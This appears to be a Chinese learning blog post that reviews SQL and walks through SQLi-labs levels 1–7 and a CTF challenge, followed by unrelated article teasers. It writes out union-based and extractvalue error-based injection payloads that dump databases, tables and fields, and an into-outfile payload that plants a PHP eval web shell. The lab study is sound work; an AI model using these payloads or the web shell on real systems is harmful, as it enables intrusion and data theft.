SQL之回炉重造

重新学sql,整个知识框架出来,之前学的太烂了

SQL是什么:

SQL 是一种操作数据库的语言,包括创建数据库、删除数据库、查询记录、修改记录、添加字段等。SQL 虽然是一种被 ANSI 标准化的语言,但是它有很多不同的实现版本。

SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。SQL 是一种计算机语言,用来存储、检索和修改关系型数据库中存储的数据。

SQL 是关系型数据库的标准语言,所有的关系型数据库管理系统(RDBMS),比如 MySQL、Oracle、SQL Server、MS Access、Sybase、Informix、Postgres 等,都将 SQL 作为其标准处理语言。

SQL查询语句:

SQL语句——查询_sql语句包含查询_HMTT的博客-CSDN博客

SQL查询语句大全(大佬总结,必看)-CSDN博客

SQL查询的基本结构_sql查询语句结构_Alkali!的博客-CSDN博客

SQL查询语句通常包含SELECT、FROM、WHERE等关键词,用于指定要从哪个表中检索数据,以及根据什么条件进行筛选。它还可以包括ORDER BY、GROUP BY、HING等子句,用于对结果进行排序、分组或过滤。此外,SQL查询语句还可以使用聚合函数(如SUM、COUNT、G等)来计算统计信息

具体可以参考这四个文章

SQL注入:

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

详解-1 union select 1,2,3#:

在SQL注入中,为什么union联合查询,id必须等于0_sql注入联合查询前为什么有-1_hangshao0.0的博客-CSDN博客


浅谈SQL注入中的-1‘ union select 1,2,3#_娄不夜的博客-CSDN博客

这篇写的非常细,而且写出了到底是怎么闭合的

https://download.csdn.net/blog/column/10724277/114808681  关于sql注入中的 --+

sql注入类型:

SQL注入主要就分两种类型:

1.数字型:

判断方法:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因:

       当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
        当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的

2.字符型

判断方法:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

    Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因:

       当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
       当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。同样可以使用假设法来验证。

其他 :

报错注入,堆叠注入,二次注入,盲注各种的其实都基于这两种注入形式,只不过是过滤的东西多了

重要函数:

 group_concat()函数

GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。

group_concat函数_lg1873868的博客-CSDN博客

information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema信息数据库介绍_豆子林的博客-CSDN博客

SQL注入流程:

1.判断SQL注入点

2.确定注入类型、闭合条件

3.判断列数

4.判断回显位

5.爆库名

6.爆表名

7.爆列名(字段名)

8.爆字段内容

分界线

介绍的差不多了,很多知识点之前不会的都有了更深的认识

———————————————————————————————————————————

SQL-labs

第一关----字符型注入

经过尝试之后确定是字符型注入,闭合条件----单引号闭合

 判断列数 ?id=1' order by 4--+   确定是3列

看回显位 ?id=-1' union select 1,2,3--+ 回显位在2,3

爆当前数据库 ?id=-1' union select 1,2,database()--+

 爆所有数据库  ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

爆表    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

查user表中的username这一列的值      ?id=-1' union select 1,2,group_concat(username) from security.users--+

第二关----数字型注入

?id=1 and 1=1 

?id=1 and 1=2 发现报错  确定是数字型注入

列数为3 ?id=1 order by 4--+

回显位是2,3 ?id=-1 union select 1,2,3--+

 剩下的和第一关一样,只不过是没有单引号闭合了而已

爆当前数据库

      ?id=-1 union select 1,2,database()--+

爆表   

      ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1 union select 1,2,group_concat(username) from security.users--+

第三关----字符型注入--  ')闭合

输入?id=1',发现报错

找到闭合语句是 1') ,判断了回显位是2,3

把闭合条件改一下就ok了

爆当前数据库

      ?id=-1') union select 1,2,database()--+

爆表   

      ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1') union select 1,2,group_concat(username) from security.users--+

第四关 ----字符型注入--  ")闭合

找到了闭合条件 是")闭合

爆当前数据库

      ?id=-1") union select 1,2,database()--+

爆表   

      ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1") union select 1,2,group_concat(username) from security.users--+

第五关----报错注入--附知识点

 报错注入

【精选】sql注入(6)报错注入-CSDN博客

SQL注入系列篇 | 报错注入 - 知乎

报错注入详解_报错注入的过程 - 全栈程序员必看

updatexml和extractvalue函数 

SQL注入,xpath函数updatexml()和extractvalue()报错注入原理_extractvalue注入原理_金 帛的博客-CSDN博客

updatexml()函数分析

官方定义:

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称;

    第二个参数:XPath_string (Xpath格式的字符串);

    第三个参数:new_value,String格式,替换查找到的符合条件的数据;

    返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容

说白了这个函数就是找查一个xml并替换它的名字,xpath就是xml的路径

extractvalue()函数分析

官方定义:

    EXTRACTVALUE (XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称;
    第二个参数:XPath_string (Xpath格式的字符串);

    返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容

说白了这个就是找一个xml并返回内容,xpath就是xml的路径

extractvalue()和updatexml()只能把32位长度的数据库信息带出来 可以通过limit分页来查询 limit(起始位置,截取数量)起始位置默认是0 可以不写  

自己的理解:

报错注入主要是因为回显不像正常注入那样,所以就需要来输入语句来报错,通过报错来显示我们需要的东西

主要是利用updatexml和extractvalue函数 这两个函数都有xpath这个路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行    ---这是为什么报错注入要加0x7e,0x5e的原因

还有就是报错注入中,因为报错回显的内容一般只有32位长度的字符串,所以我们需要用到字符串截断函数截断查询的SQL语句

字符串截断函数

常用的字符串截断函数有letf、right、mid、substr等等,以最常用的mid函数为例

mid函数

函数名称:MID
主要功能:从一个文本字符串的指定位置开始,截取指定数目的字符。
使用格式:MID(text,start_num,num_chars)
参数说明:text代表一个文本字符串;start_num表示指定的起始位置;num_chars表示要截取的数目。

进行截断的时候就用mid(sql语句,32,32),mid(sql语句,64,32)

报错注入语句:

爆当前数据库

?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e))--+

?id=1' and extractvalue(null,concat(0x7e,(database()),0x7e))--+

 爆所有数据库

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))--+

爆表

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+

爆表中列名

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

爆字段内容

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

对于数据显示不全的:就可以利用mid函数,分段显示

第一段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

第二段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

 做题

-------因为我的sql-labs不行,所以就用buuctf的来做

输入?id=1' 发现闭合条件  ---为单引号闭合

查3列发现回显正常

4列报错,有三列

不用看回显位了直接利用语句开爆

查当前数据库

查所有数据库

爆表 ---ctftraining

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),0x7e)))--+

爆表中列名

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

爆字段内容,发现不全

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

利用字符串截断函数-mid函数

第一段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

第二段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

第六关

输入 ?id=1" 发现闭合条件

 也是报错注入,只是闭合条件改了

爆当前数据库

?id=1" and extractvalue(null,concat(0x7e,(select database()),0x7e))--+

?id=1" and extractvalue(null,concat(0x7e,(database()),0x7e))--+

 爆所有数据库

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))--+

爆表

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+

爆表中列名

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

爆字段内容

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

对于数据显示不全的:就可以利用mid函数,分段显示

第一段:

?id=1" and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

第二段:

?id=1" and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

第七关

发现没有报错语句,看不到闭合信息

随便输入发现不一样的东西

 我直接看了源码,找到了闭合语句

它提示说是用输出文件的方式

判断列数为3

知识点

需要用到的两个函数:load_file() ----读取本地文件  into outfile----写文件
使用phpstudy 存在文件读写权限问题
在phpstduy文件 phpstudy\PHPTutorial\MySQL\my.ini 下加入secure_file_priv=“/”

Mysql文件导出和导入into outfile(),load_file() - 简书

sql注入之into outfile_into outfile 权限_JayJay_Lin的博客-CSDN博客 

 注入的话就是利用into outfile 这个函数

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php" --+  发现写进去了

接下来就可以连接蚁剑利用了

 第八关

八、九、十关都涉及到了盲注,其实5,6关也可以利用盲注来做

直接就在这里把盲注的知识点总结了

SQL注入-盲注(布尔盲注与时间盲注)-CSDN博客

盲注部分先短暂略过,等差不多成脚本小子了再写脚本注

盲注还是利用sqlmap,bp抓包也是可以的,看大佬的博客就可以了,我没得实力

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/146548.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Python】爬虫代理IP的使用+建立代理IP池

目录 前言 一、代理IP 1. 代理IP的获取 2. 代理IP的验证 3. 代理IP的使用 二、建立代理IP池 1. 代理IP池的建立 2. 动态维护代理IP池 三、完整代码 总结 前言 在进行网络爬虫开发时&#xff0c;我们很容易遭遇反爬虫机制的阻碍。为了规避反爬虫机制&#xff0c;我们…

DNA甲基化的相关知识

目录 1. DNA甲基化简介 2. 原理 3. 酶分类 4. DNA甲基化类型 5.机制 6. 十大DNA甲基化研究核心问题 6.1 植物中的甲基化 6.2 植物中DNA甲基化的主要功能 6.3 DNA甲基化作为生物标志物的潜力 6.4 DNA甲基化检测方法 1. DNA甲基化简介 DNA甲基化&#xff08;DNA methy…

【NI-DAQmx入门】触发相关

触发概述 触发采集为用户提供了两个主要好处&#xff1a;它对输入信号相对于触发事件进行计时&#xff0c;因此用户仅捕获感兴趣区域中的信号&#xff0c;从而节省硬件带宽和内存。 模拟触发和数字触发 模拟触发和数字触发的区别在于触发源的不同。数字触发是一种 TTL 信号&am…

C语言之深入指针(四)

C语言之深入指针 1 函数指针变量 1.1 函数指针变量的创建 整型指针是存放整型数据的指针 数组指针是存放数组地址的指针 那么函数指针变量就是存放函数地址的指针&#xff0c;可以通过函数的地址来调用函数 那么函数是否有自己的地址呢?我们可以写一段代码来看一下 #incl…

世界互联网大会|云轴科技ZStack受邀分享云原生超融合

11月8日至10日“世界互联网大会乌镇峰会”在浙江嘉兴的乌镇开幕&#xff0c;大会的主题为“建设包容、普惠、有韧性的数字世界——携手构建网络空间命运共同体”&#xff0c;全球各界代表就热点焦点问题展开讨论&#xff0c;反映产业各界对互联网发展的前瞻思考&#xff0c;引领…

UE4 / UE5 内存与性能优化

性能优化 资源压缩粒子优化NavMeshGenerate Overlap EventGCMarkTime光照优化Shader优化卡的时间长LOD官方CPU、GPU Insights、stat cpu、 ue4 memory report、inter GPA 、RenderDOC、减少模型面数等 资源压缩 在图片资源上右键选择Size Map可以看到资源所占大小&#xff0c;…

可以通过电脑远程控制安卓设备的软件

有些时候&#xff0c;我们需要用电脑远程控制安卓设备&#xff0c;比如远程维护门店设备、安卓系统的户外广告牌等等。我们来探索和比较几款允许用户通过电脑远程控制安卓设备的软件。 1、Splashtop Business Splashtop 是一种多功能远程访问解决方案&#xff0c;以其高性能流…

【大语言模型】Docker部署清华大学ChatGLM3教程

官方地址&#xff1a;https://github.com/THUDM/ChatGLM3 1 将代码保存至本地 方法1&#xff1a; git clone https://github.com/THUDM/ChatGLM3 方法2&#xff1a; https://github.com/THUDM/ChatGLM3/archive/refs/heads/main.zip 2 创建Docker文件 注&#xff1a;请先…

verdi merge fsdb出现信号冲突的解决办法

前段时间介绍了verdi用 Edit Virtual File的方式把几个fsdb文件merge起来的方法 由于当时实验的时候只用了两个小的fsdb文件&#xff0c;每个fsdb文件中包含的信号量也比较少&#xff0c;所以并没有发现问题 我是用 Edit Virtual FIle把dump不同hier的fsdb文件merge到一起&am…

2023年03月 Python(五级)真题解析#中国电子学会#全国青少年软件编程等级考试

Python等级考试(1~6级)全部真题・点这里 一、单选题(共25题,每题2分,共50分) 第1题 已知一个列表lst = [2,3,4,5,6],lst.append(20),print(lst)的结果是?( )(2分) A.[10,2,3,4,5,6,20] B.[20,2,10,3,4,5,6] C.[2,3,4,5,6,20] D.[2,3,4,5,6,10,20] 答案:C 第2…

uni-app报错“本应用使用HBuilderX x.x.x 或对应的cli版本编译,而手机端SDK版本是x.x.x不匹配的版本可能造成应用异常”

uniapp开发的一个跨平台软件&#xff0c;在安卓模拟器上启动的时候报警告&#xff1a; 官方给的解释&#xff1a;uni-app运行环境版本和编译器版本不一致的问题 - DCloud问答 解决办法有两个 方法一&#xff1a;添加忽略警告的配置 项目根目录下找到 manifest.json&#xf…

LeetCode 1334. 阈值距离内邻居最少的城市:多次运用单源最短路的迪杰斯特拉算法

【LetMeFly】1334.阈值距离内邻居最少的城市&#xff1a;多次运用单源最短路的迪杰斯特拉算法 力扣题目链接&#xff1a;https://leetcode.cn/problems/find-the-city-with-the-smallest-number-of-neighbors-at-a-threshold-distance/ 有 n 个城市&#xff0c;按从 0 到 n-1…

【kafka】 查看节点的消息

对于初学者来说&#xff0c;可能想去节点看看有没有消息产生和消费&#xff0c;可以去kafka的bin目录下执行这个命令&#xff1a; kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic myTopic --from-beginning 这个命令可以理解为&#xff1a;生产过的消…

Python 爬虫之scrapy 库

文章目录 总的介绍相关模块 总的介绍 Scrapy是一个用于爬取网站数据的开源Python框架。它提供了一套强大而灵活的工具&#xff0c;用于从网站上提取所需的数据。Scrapy是基于Twisted异步网络库构建的&#xff0c;因此可以高效地处理大量的并发请求。以下是Scrapy的一些主要特点…

oracle-buffer cache

段&#xff0c;区&#xff0c;块。 每当新建一个表&#xff0c;数据库会相应创建一个段。然后给这个段分配一个区。 一个区包含多个块。 区是oracle给段分配空间的最小单位。 块是oracle i\o的最小单位。 原则上&#xff0c;一个块包含多行数据。 dbf文件会被划分成一个一个…

Clickhouse学习笔记(15)—— Clickhouse备份

手动备份 参考官网&#xff1a;Backup and Restore | ClickHouse Docs 简单来说&#xff0c;就是我们可以通过ALTER TABLE ... FREEZE PARTITION ...命令为表分区创建一个本地副本&#xff0c;然后这个副本硬链接到/var/lib/clickhouse/shadow/文件夹&#xff0c;因此其不会耗…

防爆五参数气象仪的科技力量

WX-FBQ2 随着科技的不断进步&#xff0c;气象监测设备也在不断升级和完善。 防爆五参数气象仪是一种可以同时监测温度、湿度、压力、风速和风向五个基本气象参数的仪器。它采用了气象监测技术&#xff0c;不仅可以实时监测气象数据&#xff0c;还可以对数据进行分析和处理。 …

【Java笔试强训】Day11(CM24 最近公共祖先、HJ86 求最大连续bit数)

CM24 最近公共祖先 链接&#xff1a;最近公共祖先 题目&#xff1a; 将一棵无穷大满二叉树的结点按根结点一层一层地从左往右编号&#xff0c;根结点编号为1。现给定a&#xff0c;b为两个结点。设计一个算法&#xff0c;返回a、b最近的公共祖先的编号。注意其祖先也可能是结…

上机实验四 图的最小生成树算法设计 西安石油大学数据结构

实验名称&#xff1a;图的最小生成树算法设计 &#xff08;1&#xff09;实验目的&#xff1a; 掌握最小生成树算法&#xff0c;利用kruskal算法求解最小生成树。 &#xff08;2&#xff09;主要内容&#xff1a; 利用kruskal算法求一个图的最小生成树&#xff0c;设计Krus…

U-Mail海外邮件中继帮您解决企业邮件退信难题

过去一年&#xff0c;国内外形势严峻复杂&#xff0c;但中国外贸顶住压力、爬坡过坎&#xff0c;进出口规模冲破40万亿元大关&#xff0c;高达42万亿元人民币&#xff0c;中国连续6年位居货物贸易第一大国。随着我国疫情防控措进入新阶段&#xff0c;“拼经济”正在成为各地的一…